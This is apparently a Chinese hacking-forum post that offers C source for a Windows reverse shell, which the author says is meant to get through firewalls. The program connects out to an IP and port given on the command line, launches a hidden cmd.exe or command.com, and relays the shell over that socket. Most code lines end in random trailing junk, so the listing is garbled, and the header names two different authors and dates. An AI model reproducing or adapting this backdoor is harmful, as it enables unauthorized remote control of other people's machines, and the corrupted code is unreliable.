这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D"] [&m
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/* ============================== %}ApO{
Rebound port in Windows NT EAd:`X,Y
By wind,2006/7 =Z>V}`n
===============================*/ -ynLuq#1A
#include ]-5jgz"
#include 2eR+dT
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#pragma comment(lib,"wsock32.lib") G>ptwB81KM
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void OutputShell();
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SOCKET sClient; u g:G9vjQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BQ}.+T\
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void main(int argc,char **argv) v.LUK
{ wAOVH].
WSADATA stWsaData; nM.?Q}yO~
int nRet; Nj-rZ%&
SOCKADDR_IN stSaiClient,stSaiServer; c.{&~
h. (;GJO
if(argc != 3) ;7n*PBUJJ
{ $t
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printf("Useage:\n\rRebound DestIP DestPort\n"); B?ob{K@
return; >'TD?@sr
} 4d._Hd='
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,f0g|5yDf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7(g&z%
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stSaiClient.sin_family = AF_INET; X>GY*XU
stSaiClient.sin_port = htons(0); U:4Og8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AUjTcu>i
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aLk2#1$g
{ 1gy}E=noP
printf("Bind Socket Failed!\n"); cYwC,\uF
return; gL}Y5U+s
} JX0_UU
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stSaiServer.sin_family = AF_INET; b
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x(zZqOed
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o4 g
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) - QI`npsnV
{ {i}Q}OgYq
printf("Connect Error!"); G1^!e j
return; @gjdyz
} @bCiaBdi
OutputShell(); MHyl=5
} tMBy
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void OutputShell() H'\ EA(v+
{ bl>b/u7/6
char szBuff[1024]; g?AqC
SECURITY_ATTRIBUTES stSecurityAttributes; {5IG3'
OSVERSIONINFO stOsversionInfo; Y4qyy\}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jsaCnm>&
STARTUPINFO stStartupInfo; [gdPHXs
char *szShell; BI^]juH-c
PROCESS_INFORMATION stProcessInformation; Uu:v4a
unsigned long lBytesRead; jL%}y1m?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5t#]lg[06'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /P"\+Qp
stSecurityAttributes.lpSecurityDescriptor = 0; :QL p`s
stSecurityAttributes.bInheritHandle = TRUE; pvU oed\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2\tjeg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); htrj3$q(4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T<?BIQz(}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +*{5ORq=
stStartupInfo.wShowWindow = SW_HIDE; +mOtYfW
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @CI6$
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GetVersionEx(&stOsversionInfo); _1c_TM h}9
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switch(stOsversionInfo.dwPlatformId)
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{ >b?)WNk
case 1: z ;Nk& <?
szShell = "command.com"; jyH_/X5i7
break; K/+C6Y?
default: 10IPq#Jj
szShell = "cmd.exe"; c+/C7C o
break; Iw7r}G
} I8;[DP9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rg/vxTl
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send(sClient,szMsg,77,0); Hbc&.W;g7[
while(1) +##I4vP
{ Bic {
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X
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if(lBytesRead) kK|+W,
{ VDY1F_Fk
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )_K@ ?rWS
send(sClient,szBuff,lBytesRead,0); {leG~[d
} aBi:S3 qk
else J}\]<aC
{ 4F6o
lBytesRead=recv(sClient,szBuff,1024,0); _N';`wjDY
if(lBytesRead<=0) break; xG/qDc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t+J6P)=
} i4rF~'h@
} + qqN
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return; M?zAkHNS$
}